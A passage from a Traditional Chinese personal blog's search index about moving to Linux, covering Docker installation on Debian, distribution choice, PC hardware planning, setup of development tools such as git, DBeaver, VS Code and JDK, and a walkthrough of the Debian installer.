gnupg \\ lsb-release curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg echo \\ \u0026#34;deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/debian \\ $(lsb_release -cs) stable\u0026#34; | sudo tee /etc/apt/sources.list.d/docker.list \u0026gt; /dev/null 安裝docker 引擎 # 1 2 sudo apt-get update sudo apt-get install docker-ce docker-ce-cli containerd.io 將使用者加入docker群組 # 1 sudo usermod -aG docker [userName] 安裝docker-compose # 1 2 3 4 https://github.com/docker/compose/releases/download/v2.23.3/docker-compose-linux-x86_64 sudo curl -L \u0026#34;https://github.com/docker/compose/releases/download/v2.23.3/docker-compose-$(uname -s)-$(uname -m)\u0026#34; -o /usr/bin/docker-compose sudo chmod +x /usr/bin/docker-compose sudo ln -s /usr/bin/docker-compose /usr/local/bin/docker-compose 開機時自動啟動docker # 1 sudo systemctl enable docker 參考資料 # Install Docker Engine on Debian\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/2024-02-28-%E5%AE%89%E8%A3%9Ddocker/","section":"Posts","summary":"OS: Debian 10 Debian 11\n初次安裝先移除舊相關套件 # 1 sudo apt-get remove docker docker-engine docker.io containerd runc 安裝 # 加入 gpg # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 sudo apt-get update sudo apt-get install \\ apt-transport-https \\ ca-certificates \\ curl \\ gnupg \\ lsb-release curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg echo \\ \"deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/debian \\ $(lsb_release -cs) stable\" | sudo tee /etc/apt/sources.list.d/docker.list \u003e /dev/null 安裝docker 引擎 # 1 2 sudo apt-get update sudo apt-get install docker-ce docker-ce-cli containerd.io 將使用者加入docker群組 # 1 sudo usermod -aG docker [userName] 安裝docker-compose # 1 2 3 4 https://github.com/docker/compose/releases/download/v2.23.3/docker-compose-linux-x86_64 sudo curl -L \"https://github.com/docker/compose/releases/download/v2.23.3/docker-compose-$(uname -s)-$(uname -m)\" -o /usr/bin/docker-compose sudo chmod +x /usr/bin/docker-compose sudo ln -s /usr/bin/docker-compose /usr/local/bin/docker-compose 開機時自動啟動docker # 1 sudo systemctl enable docker 參考資料 # Install Docker Engine on Debian\n","title":"安裝Docker","type":"post"},{"content":"","date":"February 28, 2024","externalUrl":null,"permalink":"/categories/%E6%88%91%E7%9A%84linux%E6%97%A5%E5%B8%B8%E7%94%9F%E6%B4%BB/","section":"Categories","summary":"","title":"我的linux日常生活","type":"categories"},{"content":" 我的linux日常生活-2.Linux選擇 # tags: 我的linux日常生活 # 在學習Linux的過程中，我接觸了這些的發行版本有 Ubuntu 、 CentOS 、 OpenSUSE 、 Debian ，我就針對我嘗試的經驗分享給大家吧。\nUbuntu 20.04 LTS # Ubuntu 想必是大部分人一開始接觸 Linux 的發行版本，我也是不例外。在日常生活中使用的體驗上是真的很不錯，就跟windows 沒有甚麼太大的差異，如果日常生活中使用電腦的目的只有上上網、看個影片，加上處理文書打打字，我是推薦使用這個版本。\n一開始我是用 Ubuntu ，但是把它當作我自己的工作環境，對於我來說它預設安裝太多軟體，我希望作業系統能占我硬體資源設備越少越好而且還要適合我自己，所以大約用了半年多的時間我就換其他的發行版本。\n在操作上有一個bug，就是只要多點選幾次目錄清單Gnome 就會當掉，雖然有嘗試處理，但是還是一樣。\nCentOS 7 # CentOS 跟客戶的作業系統是一樣的，但是在實際操作上，有發現無法正常使用 NetBeans 6.7 ，所以就不使用此作業系統。\n後來 RedHat 公司宣布不再維護 CentOS 8 ，這真的讓我很震驚。\nOpenSUSE # 跟客戶的作業系統一樣是 RedHat 體系，但是一樣無法正常使用 NetBeans 6.7 ，所以不使用此作業系統。\nDebian 10 # 最後我是採用這個發行版本。使用的第一個原因是「穩定」，相對的是套件的軟體版可能較舊。會選擇的原因，主要是「穩定」。因為我不想在我未來的三年內因為作業系統出了狀況，而去花費心思解決。\n花費心思的原因，接下來我會用之後的文章一一講給大家聽。\nData type mapping for other data types:\nOracle SQL Server 1 BFILE Pointer to binary file, ⇐ 4G VARCHAR(255) 2 BINARY_FLOAT 32-bit floating-point number REAL 3 BINARY_DOUBLE 64-bit floating-point number DOUBLE PRECISION 4 BLOB Binary large object, ⇐ 4G VARBINARY(max) 5 CHAR(n), CHARACTER(n) Fixed-length string, 1 ⇐ n ⇐ 2000 CHAR(n), CHARACTER(n) 6 CLOB Character large object, ⇐ 4G VARCHAR(max) 7 DECIMAL(p,s), DEC(p,s) Fixed-point number DECIMAL(p,s), DEC(p,s) 8 DOUBLE PRECISION Floating-point number FLOAT 9 FLOAT(p) Floating-point number FLOAT 10 INTEGER, INT 38 digits integer DECIMAL(38) 11 LONG Character data, ⇐ 2G VARCHAR(max) 12 LONG RAW Binary data, ⇐ 2G VARBINARY(max) 13 NCHAR(n) Fixed-length UTF-8 string, 1 ⇐ n ⇐ 2000 NCHAR(n) 14 NCHAR VARYING(n) Varying-length UTF-8 string, 1 ⇐ n ⇐ 4000 NVARCHAR(n) 15 NCLOB Variable-length Unicode string, ⇐ 4G NVARCHAR(max) 16 NUMBER(p,0), NUMBER(p) 8-bit integer, 1 \u0026lt;= p \u0026lt; 3 TINYINT (0 to 255) 16-bit integer, 3 \u0026lt;= p \u0026lt; 5 SMALLINT 32-bit integer, 5 \u0026lt;= p \u0026lt; 9 INT 64-bit integer, 9 \u0026lt;= p \u0026lt; 19 BIGINT Fixed-point number, 19 \u0026lt;= p \u0026lt;= 38 DECIMAL(p) 17 NUMBER(p,s) Fixed-point number, s \u0026gt; 0 DECIMAL(p,s) 18 NUMBER, NUMBER(*) Floating-point number FLOAT 19 NUMERIC(p,s) Fixed-point number NUMERIC(p,s) 20 NVARCHAR2(n) Varying-length UTF-8 string, 1 ⇐ n ⇐ 4000 NVARCHAR(n) 21 RAW(n) Variable-length binary string, 1 ⇐ n ⇐ 2000 VARBINARY(n) 22 REAL Floating-point number FLOAT 23 ROWID Physical row address CHAR(18) 24 SMALLINT 38 digits integer DECIMAL(38) 25 UROWID(n) Logical row addresses, 1 ⇐ n ⇐ 4000 VARCHAR(n) 26 VARCHAR(n) Variable-length string, 1 ⇐ n ⇐ 4000 VARCHAR(n) 27 VARCHAR2(n) Variable-length string, 1 ⇐ n ⇐ 4000 VARCHAR(n) 28 XMLTYPE XML data XML ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/002-linux%E9%81%B8%E6%93%87/","section":"Posts","summary":"我的linux日常生活-2.Linux選擇 # tags: 我的linux日常生活 # 在學習Linux的過程中，我接觸了這些的發行版本有 Ubuntu 、 CentOS 、 OpenSUSE 、 Debian ，我就針對我嘗試的經驗分享給大家吧。\n","title":"我的linux日常生活-2.Linux選擇","type":"post"},{"content":" 我的linux日常生活-3.硬體規劃 # tags: 我的linux日常生活 # 自己組裝電腦，我認為最重要的是要清楚了解自己的需求與使用電腦目的。以下就會針對這次我組工作專用電腦的分析。我會分為下列幾個階段\n使用需求分析 使用目的 硬體規劃 現實分析 現實與理想的取捨 使用需求分析 # 使用目的 # 我使用電腦的目的有以下：\n工作 開發網站系統 撰寫開發與分析文件 維護網站系統運作 到客戶的工作地點進行需求訪談 娛樂 聽音樂 以前在電腦中會使用的軟體工具 # 在Windows中我會使用以下軟體，以及我自己習慣的軟體對硬體的配置\nMS Office Line 開發工具 NetBeans 6.7 最低硬體要求： RAM: 4GB Disk: 1GB intelliJ IDEA RAM: 建議 8 GB CPU: 建議多核心 Disk: 5GB 起跳 Toad 資料庫管理工具 Toad for DB2 Oracle 系統規劃與雛型軟體 DrawIO 注音輸入法 板控制工具 Git git tortose NotePad ++ VS code EverNote 電腦操作習慣 # 我在開發系統時，有時後會需要開三個以上的專案，所以intelliJ IDEA 有時後會多開數個專案，對記憶體的要求至少需要16GB 以上。 會在不同的作業系統中進行產品測試，對記憶體需求至少要16 GB以上。 會在同一時間很多軟體作業，如Toad、Toad、intelliJ IDEA、NetBeans 6.7。 總結以上我的操作習慣，記憶體越大越好最好可以到1024 GB。\n轉換到Linux 後軟體規劃 # 有些軟體有提供跨平台的，例如：Git、IntelliJ 等等，以我的個人經驗來說，跨平台的軟體大部分都是以程式開發才有提供跨平台(註1)。\n沒有跨平台的軟體則另外尋找替代方案。通常有三種方案：\n第一種：尋找功能相似的軟體，例如：Liber Office。我覺的這是可遇不可求。\n第二種：透過Wine 模擬Windows環境，來安裝可以在Windows上運作的軟體。在我的經驗中，這個選擇有一點不好。MS Office 還可以正常運作，如果是比較專業的軟體，有可能會無法正常運作，例如：Toad for DB2等。\n第三種：在Linux 中透過虛擬機運行Windows，後就可以完完全全安裝以前使用的軟體。這個選項還蠻耗系統資源的，光Windows 10 作業系統就要至少需要下列的硬體需求：\n處理器：1 GHz 或更快的處理器或 SoC\nRAM：1 GB (32 位元) 或 2 GB (64 位元)\n硬碟空間：16 GB (32 位元作業系統) 或 20 GB (64 位元作業系統)\n替代軟體可以選擇，以MS office 來說，就有LiberOffice、Open Office等等。也有在Linux中難以替代的軟體，例如：Line。\nLiber Office (替代：MS Office) Line 有試過用wine 執行，最後決定還是在Windows中執行，因為時常Line會無故自動關閉。 開發工具 NetBeans 6.7 (在Linux中有對應的版本) intelliJ IDEA (在Linux中有對應的版本) SOAP UI (在Linux中有對應的版本) 資料庫管理工具 Toad for DB2 Oracle 有試過用wine 安裝，最後還是在Windows中執行，因為System32 元件在wine中會遇到不明的bug，而且裡面的功能在社群中可以自由使用的軟體沒有。 DBeaver Community 系統規劃與雛型軟體 DrawIO (在Linux中有對應的版本) 新酷音輸入法 (替代：注音輸入法) 板控制工具 Git (在Linux中有對應的版本) notepadqq (替代：NotePad ++) VS code (在Linux中有對應的版本) EverNote 硬體規劃 # 在硬體的規劃當中，前期我自己是直接買一台筆記型電腦處理，後期是自行組裝電腦。\n筆記型電腦我選擇是用 Dell E7270，會選擇這台的主要原因是原廠就有支援 Linux ，在驅動軟體方面可以不用花費心思處理，畢竟別人都已經在市場上賣出了，而且都說明可以支援 Ubuntu ，自然我就可以好好無痛接觸 Linux。\n組裝電腦的部份，以下是我這次的組裝菜單：\nCPU : AMD Ryzen 5 3600 RAM : 金士頓 32GB DDR4-3200 *2 MB : Gigabyte B550M ARUS ELITE GPU : Gigabyte N710D5-2GIL 硬碟: ADATA XPG GAMMIX S50 Lite 1TB 電源供應器: 振華LEADEX 550W HDD: WD 藍標2TB(WD20EZAZ) 在配這個這份菜單時，我有擔心到時候會不會無法組裝 Debian 的問題。為了這個問題，我有特別上網一下，查查國外有沒有災情。更何況我選擇的 CPU 是 AMD 的，因為在分析 Linux 與硬體的相容性時，就有看過不少文章 AMD 有許多驅動程式的相關問題。不過當我看到「Linus Torvalds轉至AMD Ryzen Threadripper平台」這篇報導時，增強我對AMD 平台的信心，所以就抱持著「頂多就安裝 windows」的心態試試。\n為什麼我選擇AMD 平台而不使用 Intel 平台。因為我買電腦零件的時間點是 2021-02-01，在哪個時候 Intel 與 AMD 的 綜合性價比對於網站程式開發人員來說比較高。原因有CPU 核心數多、支援RAM 到128 GB、有 CPU原生支援 PCIE 4.0等等主要因素，剩下的在這邊就不多做贅述。\n註解 # 註1: 跨平台: 這邊指的跨平台是：相同軟體廠商所開發的軟體，在不同作業系統中有提供對應的軟體且功能近乎相同，例如：Slack。不僅在手機(Android、IOS)、在桌面系統(Windows、Linux)中都有對應的軟體，而且功能近乎相同。 參考資料 # Windows 10 系統需求\n從Intel Inside切成AMD Inside，Linux之父Linus Torvalds轉至AMD Ryzen Threadripper平台，因為編譯快3倍!\nIntelliJ IDEA System requirements\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/003-%E7%A1%AC%E9%AB%94%E8%A6%8F%E5%8A%83/","section":"Posts","summary":"我的linux日常生活-3.硬體規劃 # tags: 我的linux日常生活 # 自己組裝電腦，我認為最重要的是要清楚了解自己的需求與使用電腦目的。以下就會針對這次我組工作專用電腦的分析。我會分為下列幾個階段\n","title":"我的linux日常生活-3.硬體規劃","type":"post"},{"content":" 我的linux日常生活-6.安裝開發工具 # tags: 我的linux日常生活 # git # 下面是git 安裝指令與設定方式\n安裝\n1 sudo apt install git 設定 git\n1 2 3 git config --global user.name PolloChang git config --global user.email james89926282@gmail.com git config --global core.editor \u0026#34;vim\u0026#34; 產生金鑰並取得公鑰\n1 2 ssh-keygen cat /home/jameschang/.ssh/id_rsa.pub 之後再把公鑰上傳到git sever 就可以了\n檢查有成功\n1 ssh -T git@github.com 遠端桌面軟體-Remmina # Remmina 是我比較習慣的遠端桌面軟體，它可以支援ssh、sftp、RDP等，常用的遠端通訊定。\n一般安裝Ubuntu 時，通常就已經內建了。\n安裝指令如下：\n1 sudo apt install remmina 系統監控工具-nmon # nmon 是在終端機顯示的監控工具，可以即時監控系統的狀況，也可以長時間採集系統資訊。下面為安裝方法：\n1 sudo apt install nmon 下面為即時監控的指令\n1 nmon 文字編輯器-vim # Debian、Ubuntu 通常不自帶 vim 編輯器，所以需要特別安裝。\n1 sudo apt install vim 流程圖與雛型工具-draw.io # DrowIO 是我比較常用來繪製流程圖與雛型，雖然它可以直接在瀏覽器直接繪畫，但是先決條件網路品質必須要很好，像我在家如果需要加班（好命苦）時，手機網路有時候會收不到訊號，所以必須獨立安裝軟體。\n線上板本: https://app.diagrams.net/\n桌面版本: jgraph/drawio-desktop\n下面為桌面板本安裝方法：\n到 jgraph/drawio-desktop 下載Linux 安裝檔(.deb或 .rpm) 或是透過 snap 安裝\n下載完成後輸入以下指令\nhttps://github.com/jgraph/drawio-desktop/releases/download/v16.5.1/drawio-amd64-16.5.1.deb\n1 sudo apt install ./drawio-amd64-14.6.13.deb dbeaver # dbeaver 是我比較常用的資料庫管理工具，它可以同時連接不同資料庫進行作業，對於有兩個以上資料庫的專案來說相當方便，另外它也有提供付費版本，但是對於一般開發者來說社群板就夠用了。\ndeb下載位址：https://dbeaver.io/download/\nsnap 安裝\n1 sudo snap install dbeaver-ce 1 sudo apt install ./dbeaver-ce_21.0.0_amd64.deb use ppa 1 sudo add-apt-repository ppa:serge-rider/dbeaver-ce apt 1 2 3 4 5 6 7 8 9 10 11 sudo apt -y install openjdk-11-jdk openjdk-11-jre sudo apt -y install default-jdk java -version wget -O - https://dbeaver.io/debs/dbeaver.gpg.key | sudo apt-key add - echo \u0026#34;deb https://dbeaver.io/debs/dbeaver-ce /\u0026#34; | sudo tee /etc/apt/sources.list.d/dbeaver.list sudo apt update sudo apt -y install dbeaver-ce apt policy dbeaver-ce # 移除 另外一開始安裝完畢後語言會是預設簡體中文，但是翻譯真的不完全，在操作上可能會有點不習慣，雖然在GUI 界面當中可以選擇語言，但是通常無效，所以必須到 dbeaver.ini 檔案中新增參數選項\nsudo vim /usr/share/dbeaver/dbeaver.ini sudo vim /usr/share/dbeaver-ce/dbeaver.ini\n1 -Duser.language=en MS Visual Studio Code # MS VSCode 是微軟最近幾年新的輕量級的程式開發工具，支援大部份程式語言語法高亮度。我會常用的原因主要是對於Markdown 原生支援，對於用Markdown寫作的人是友善的。\n下載網址：https://code.visualstudio.com/download\n以下為安裝方式：\n1 sudo apt install ./code_1.53.2-1613044664_amd64.deb ppa 方式安裝 1 2 3 4 5 6 7 wget -qO- https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor \u0026gt; packages.microsoft.gpg sudo install -o root -g root -m 644 packages.microsoft.gpg /etc/apt/trusted.gpg.d/ sudo sh -c \u0026#39;echo \u0026#34;deb [arch=amd64,arm64,armhf signed-by=/etc/apt/trusted.gpg.d/packages.microsoft.gpg] https://packages.microsoft.com/repos/code stable main\u0026#34; \u0026gt; /etc/apt/sources.list.d/vscode.list\u0026#39; rm -f packages.microsoft.gpg sudo apt install apt-transport-https sudo apt update sudo apt install code # or code-insiders JDK # 身為一個JAVA 相關的開發者，對於JAVA 生產環境如何處理是必須知道的。JDK 目前分兩個類型，收費的與自由 免費 的。在安裝上的差別主要是Oracle 需要登入後才能下載，OpenSource 可以直接透過yum apt\u0026hellip;等套件管理工具就可以下載。\n不過通常我是習慣透過下載之後解壓縮直接用，因為不同的專案有可能會需要不同的JDK 版本。\n在JDK6 以後只需要解壓縮後設定JAVA_HOME 環境參數就可以用。\n而在JDK1.5 需要透過安裝檔安裝。\nOpenJDK\nAdoptOpenJDK\n自己安裝 JAVA_HOME /etc/profile.d/java-home.sh\n1 2 3 4 JAVA_HOME=/usr/lib/jvm/jdk-11.0.14 CLASSPATH=$JAVA_HOME/lib/ PATH=$PATH:$JAVA_HOME/bin export PATH JAVA_HOME CLASSPATH 1 source /etc/profile maven 安裝 # 1 2 3 wget https://archive.apache.org/dist/maven/maven-3/3.8.5/binaries/apache-maven-3.8.5-bin.tar.gz tar -zxf apache-maven-3.8.5-bin.tar.gz sudo cp apache-maven-3.8.5 /usr/local/lib /etc/profile.d/mvn.sh\n1 2 export MAVEN_HOME=/usr/local/lib/apache-maven-3.8.5 export PATH=$MAVEN_HOME/bin:$PATH netbeans-6.7 # nerbeans-6.7 安裝對於現在來說比較特別，需要指定java版本執行，不會可會報錯的。語法如下：\n1 sudo sh netbeans-6.7-ml-java-linux.sh --javahome /usr/lib/jvm/jdk1.5.0_22 shellcheck # linux shell script sheck\nkettle 9 # 安裝環境: Debian 10\n下載就套件 # 1 2 3 wget http://archive.debian.org/debian-security/pool/updates/main/i/icu/libicu57_57.1-6+deb9u5_amd64.deb wget http://old-releases.ubuntu.com/ubuntu/pool/universe/w/webkitgtk/libjavascriptcoregtk-1.0-0_2.4.11-3_amd64.deb wget http://old-releases.ubuntu.com/ubuntu/pool/universe/w/webkitgtk/libwebkitgtk-1.0-0_2.4.11-3_amd64.deb 1 2 3 sudo apt install ./libwebkitgtk-1.0-0_2.4.11-3_amd64.deb sudo apt install ./libjavascriptcoregtk-1.0-0_2.4.11-3_amd64.deb sudo apt install ./libicu57_57.1-6+deb9u5_amd64.deb 1 sudo apt install libcanberra-gtk-module libcanberra-gtk3-module 1 2 sudo touch logs/{karaf.log,security.log,pdi.log,spoon.log} sudo chmod 0666 ./logs/*.log intellij idea 無法輸入中文問題 # /usr/local/etc/idea-IU-221.5787.30/bin/idea64.vmoptions 1 -Drecreate.x11.input.method=true 參考資料 # 1.6 開始 - 初次設定 Git\nHow to Backup and Restore your Dockerized Postgres Database\n第 28 天：安裝/使用 DBeaver 管理資料庫\nVisual Studio Code on Linux\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/2024-02-28-%E5%AE%89%E8%A3%9D%E9%96%8B%E7%99%BC%E5%B7%A5%E5%85%B7/","section":"Posts","summary":"我的linux日常生活-6.安裝開發工具 # tags: 我的linux日常生活 # git # 下面是git 安裝指令與設定方式\n","title":"我的linux日常生活-6.安裝開發工具","type":"post"},{"content":"","date":"February 28, 2024","externalUrl":null,"permalink":"/categories/%E6%88%91%E7%9A%84linux%E7%94%9F%E6%B4%BB%E6%97%A5%E8%A8%98/","section":"Categories","summary":"","title":"我的Linux生活日記","type":"categories"},{"content":" 我的Linux生活日記 01-windows轉Linux的過程 # 只是為了工作用而已 # 在大學時就有開始自己接觸 Ubuntu 了，記得第一次接觸是大學時，筆記型電腦越跑越慢，所以決定重新安裝作業系統。依稀記得看到Ubuntu 的桌面可以3D翻轉切換覺得很炫，所以決定安裝看看。安裝一陣子，其實也沒有一陣子啦！也不過一天而已，發現沒有辦法安裝我最喜歡的遊戲—坦克世界，所以隔天我立刻安裝回windows了。\n後來工作後，在執行某次專案時，有一向需求是windows 2003 轉成 Linux。為了在短短三個月的開發期程，我乾脆把開發環境一次改成Linux ，只是為了把所有在Linux出現的 Bug 快速清除而已。\n作業系統評估 # 在選擇作業系統中，我其實是有很明確的方向：目標是在工作中完全使用Linux。因此我列下在工作中會使用到的工具，並找出有相容Linux版本，如果沒有就得尋找替代方案。\n下列是我之前評估的清單\n軟體項目 有發行或相容Linux Linux 替代方案 只能安裝在windows intelliJ IDEA 2019 以上 有 Netbeans 6.7 有 JDK 1.4 以上 有 MS Office Liber Office v Line Line Chrome 版 v notepad++ vs code Toad for DB2 DBeaver Toad for Oracle DBeaver mockup draw io Chrome 有 Internet Explorer(IE) v Forti Client 有 微軟新注音 新酷音 Soap UI 有 Git-Tutorials smart git jmeter 有 Microsoft Defender ClamTK Spotify 有 kettle 有 Git 有 7-zip 有 BIPublisherDesktop v 一個痛苦轉變 # 為了工作，我必須把當時工作的電腦安裝 Linux ，但是工作主力主機也不可能說重新安裝就重新安裝。畢竟我自己也需要適應不同作業系統的操作邏輯，所以決定買一台筆電試試看。物色了幾天決定是 「DELL Latitude E7270」 這種機型，決定是原廠有拍胸脯保證一定可以安裝 ubuntu 14.04，所以決定買來試試看。喔喔喔，忘了說，是買二手筆電，價格大約在一萬初。\n對了，我這邊需要做一個小小時間線整理。這件事的發生時間是2019年08月。而 ubuntu 14.04 的發行日期是:2014年04月17日，中止支援日期是:2019年04月25日。\n考慮到 ubuntu 14.04 已經中止支援後，於是為電腦安裝 ubuntu 18.04 LTS。安裝完之後發現，電腦規格跑不動桌面系統，難道我買筆電只能移除桌面系統，然後用vim 開發 Java 網站，而且重點是我還得連 windows server 遠端桌面，不能沒有桌面系統呀！為了避免這場憾事發生，於使問了google 大神好久，一番糾結後決定嘗試安裝幾個發行版本: CentOS、Debian、openSUSE。\nCentOS 7 # 這是我第一個選擇的版本，主要原因是這次的專案就是要轉成這個版本。但是在實際操作上，有發現無法正常使用 NetBeans 6.7 ，所以就不使用此作業系統。後來 RedHat 宣布不再維護 CentOS 8 ，這真的讓我很震驚。\nopenSUSE # 跟客戶的作業系統一樣是 RedHat 體系，但是一樣無法正常使用 NetBeans 6.7 ，所以不使用此作業系統。我覺的他綠色變色龍真的很可愛。\nDebian # Debian 是最後我選定的版本。選定的原因是，我規劃的開發工具可以很好的運行在這個版本上面。而且作業系統暫用的資源也很少，即使我安裝 Debian test (未來傳說的 Debian) Ｇnome桌面版本 ，開完 intellij IDEA 容然可以很順暢的運行，但是在相同的機器中安裝 Ubuntu 22.04 Gnome 桌面版本，裝開完機後打開 intellij IDEA 用起來卡卡的。\n以上是我在這台機器安裝、測試軟體、測試、再安裝、在測試\u0026hellip;\u0026hellip;循環測試的一點小心得。\n最後我要開賽啦 # 原本我是要星期一開賽的。但是基於突如其來的工作、家庭等洪水事件，所以到今天終於開賽啦！希望我的第一次可以順利完成三十天！\n參考資料 # 維基百科: Ubuntu\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/001-windows%E8%BD%89linux%E7%9A%84%E9%81%8E%E7%A8%8B/","section":"Posts","summary":"我的Linux生活日記 01-windows轉Linux的過程 # 只是為了工作用而已 # 在大學時就有開始自己接觸 Ubuntu 了，記得第一次接觸是大學時，筆記型電腦越跑越慢，所以決定重新安裝作業系統。依稀記得看到Ubuntu 的桌面可以3D翻轉切換覺得很炫，所以決定安裝看看。安裝一陣子，其實也沒有一陣子啦！也不過一天而已，發現沒有辦法安裝我最喜歡的遊戲—坦克世界，所以隔天我立刻安裝回windows了。\n","title":"我的Linux生活日記 01-windows轉Linux的過程","type":"post"},{"content":" 我的Linux生活日記 02-安裝Debian # 今天讓我詳細介紹如何安裝Debian吧！老實說安裝Debian步驟真的超多的。我記得我第一次接觸Debian 10 安裝時，有點不知所措。因為步驟真的比Ubuntu 、CentOS 多好多，因此我在這邊簡單帶一下安裝步驟。\nDebian 簡介: 自由(free) 的信仰 # 說到Debian 這個發行版本，一定得提到 free 、 none-free 。首先這邊需要很嚴肅的跟大家說 free 這一詞是 自由 的意思，意指該軟體可以被世界上任何一個人使用、複製甚至販售，而不是 免費 的意思。none-free 就是不符合上述 free 的規範啦。所以從官方網站下載的一定是 free 的版本。\n這個觀念很重要，如過是硬體有 intel 無線網卡，需要特別需要去找 iwlwifi 在安裝前準備。第一次安裝我舊碰到這個問題，可花費我兩三天的時間去處理。\n另外我想介紹 Debian 的原因是: 他的安裝步驟很多 它是我接觸過作業系統中，有多都是以Debian 為基底去做改良，例如：ubuntu、Proxmox VE、OpenSwitch OPX、kali。所以學習使用Debian 投資報酬率很高。(我覺的啦)\n下載 Debain # 官方網址: https://www.debian.org/ 一進入官方網站，你會發現這個官網真陽春，真的好像是我會寫出的網站排版：HTML 加 CSS 簡單稍微排版。然而在首頁的右下方就出現一個大大個下載，提供你下載。\n: https://cdimage.debian.org/mirror/debian/dists/ 如果想要下載之前版本的版本可以從這個網站下載，當然也可以下載Debain 衍生的發行板，如：Ubuntu、kali。\n下載及準備驅動軟體 # Debian 的官網入口有提供小型安裝檔，只有300多MB 而已，不過安裝過程當中建議連接網路，如果有安裝面環境需求時會需要從網路上下載套件。如果安裝的環境中，網路環境相當堪憂，我這邊建議去準備8GB 以上的隨身碟，並且到網路穩定的環境下載自己要的版本DVD/USB 版本。\n我兩台電腦安裝的經驗當中，筆電我是下載DVD/USB 版本，選擇的當案是「debian-live-10.9.0-amd64-gnome.iso」，因為當時安裝的網路環境只有300kbps/s，相當慢。而自己組裝桌機時，是使用小型安裝檔。兩者安裝的流程其實是一樣，只差DVD/USB 版本只是預先將桌面環境下載下來而已。\n關於驅動軟體，對於 Linux 不熟悉的人來說都有聽過一個傳聞，就是安裝Linux 需要自己另外去硬體廠商網站下載Linux 版本的驅動軟體。其實這個傳聞的聽說，我也是說聽說啦！是聽說以前的確需要特別去找，但是已我的經驗當中，絕大部分的驅動軟體都可以不用自行去下載，如果你是用Ubuntu自然更不會遇到這個問題。\n但是當我安裝Debian 時卻碰到 筆電的無線網卡無法辨認的問題，後來我上網查筆電的規格後，發現無線網卡是Intel ，加上Debian 有將軟體類型區分 main、contrib、non-free、non-us，所以我必須特去找Intel的驅動軟體iwlwifi\n我這邊簡單說明為什麼會有這樣的區分：主要是Debian 希望在這個平台上所有的軟體都是高純度的自由軟體，可以被自由使用的，但是現實當中一個軟體的誕生並非是開發者/團體絕對的無私的為軟體世界開發。說白一點，工程師也要吃飯，工程師後面也有老闆要賺錢向投資者交待，因此才會區分這些類別。\nmain: Debian 最主要的系統組成成份。 contrib: 本身是自由軟體，但是與其他非自由軟體有相依性。 non-free: 非自由軟體。 non-us: 這類大多是專利相關軟體。 關於安裝的細節步驟，我就不多做敘述。因為很多人寫過，而且在針對文書處理機安裝的過程中真的只是下一步，頂多打個帳號密碼，選擇想要的桌面環境就結束了。除非是真的要安裝伺服器主機才會去特別調整硬碟資雲分配\u0026hellip;\u0026hellip;等等。\n安裝詳細的步驟官方的最詳細，不然用關鍵字「安裝Debian」就會出現很多相關的處理方式，例如：圖解 Debian 10（Buster）安裝步驟\n安裝 Debian # 安裝菜單 選擇第一個 Graphical install 圖形安裝，有提供滑鼠安裝，也比較平易近人。第二個項目 Install 你會看到Dos 年代的畫面風格，只能透過鍵盤安裝，不過很容易就上手的。\n選擇語系 這邊我習慣使用英文語系，因為外國的月亮比較圓 主要是未來發現不懂的操作，英文資源比較好找，如果是中文語系，需要先翻譯成英文，但是我英文能力普普啊! 為了能夠打中文，安裝完成後必須再安裝中文語系。\n選擇所在地區 生在台灣就選 Taiwan 呀！\n選擇所在地區：其他 但是台灣在哪呢？怎摸跟世界地圖一樣難找！先選擇 Other 。\n選擇所在地區：亞洲 選擇所在地區：台灣 花費了三個步驟終於找到啦！但是在 Redhat 體系 或是 ubuntu 的安裝檔點點地圖就設定完成了。也許地圖選擇是有版權的吧(我猜)。\n選擇語系：en_US.UTF-8 記得要選擇 UTF8 唷！不然生在台灣會有很多 罕見字 (難字) 在未來會看不到。雖然 UTF8 還是會有中文字不到，例如：新北市坪林區大林里「?」(魚逮 ㄉㄞˋ)魚堀。\n選擇鍵盤配置 這邊選擇美式鍵盤\n進行讀取安裝光碟 選擇網路 這邊就選擇可以上網的網路接孔吧。不用怕選錯，因為連不上網路還會跳回來這一步。\n進行網路配置 系統會自動探索網際網路。\n輸入主機名稱 探索到網路世界後，接下來就是跟大家說我是誰。不然大家就會問你的名子\n輸入網站 在這邊如果未來規劃是網站伺服器或是郵件伺服器，如：zimbra，可以在這個步驟填寫自己的Domain。不填沒有關係，安裝完成之後改 /etc/hosts 文件即可。如果是作為桌面使用，可以按下一步。\n輸入root密碼 強烈建議不填 root 密碼，讓 root 不允許登入。 這樣資安稽核就可以安心通過一項了，或是導入GCB就少一項設定。\n輸入使用者名稱 輸入你的大名。例如：POLLOCHANG。\n輸入使用者帳號 輸入你的小名。例如： pollochang 。不就大小寫差別？\n對於linux 帳號命名這邊建議用英文小寫加阿拉伯數字就可以，主要是未來有安裝老舊的軟體有應用到linux帳號，大寫英文可能會作為該軟體的帳號，例如：DB2。\n輸入使用者密碼 規劃硬碟 選擇第一項: Guided- use entire disk，如過是安裝在虛擬機上，可以選擇 Guided- use entire disk and set up LVM 未來空充硬碟會比較方便。\n選擇硬碟 選擇硬碟分割模式 這邊選擇第一項，讓電腦自動配置。這個年頭電腦除了會挑選花生，也會切硬碟唷！\n規劃分割硬碟 電腦切割的結果，如果不喜歡也可以自己切。自己切記得 swap 要切出來，至少512MB ，不然之後可能會遇到很奇怪的問題。\n再次確認硬碟分割規劃 沒問題就按下 yes 。\n執行硬碟分割 詢問有其他安裝光碟 選擇 mirror 地理位置 根據你地理上最近的地區選擇吧。但是我地理不好啊！跟索隆一樣\n選擇 mirror 網站 隨便選，開心就好。\n設定 Proxy 主機所在的網路環境沒有特殊要求就不用設。\n設定 apt 安裝系統 詢問將安裝過程分享給Debian社群 詢問安裝桌面 一般我是習慣選擇 Gnome，如果要遠端桌面使用的話建議就 不要裝！大家都透過SSH直接遠端 選擇 xfce。\n安裝 boot loader 這步驟很重要，請選擇 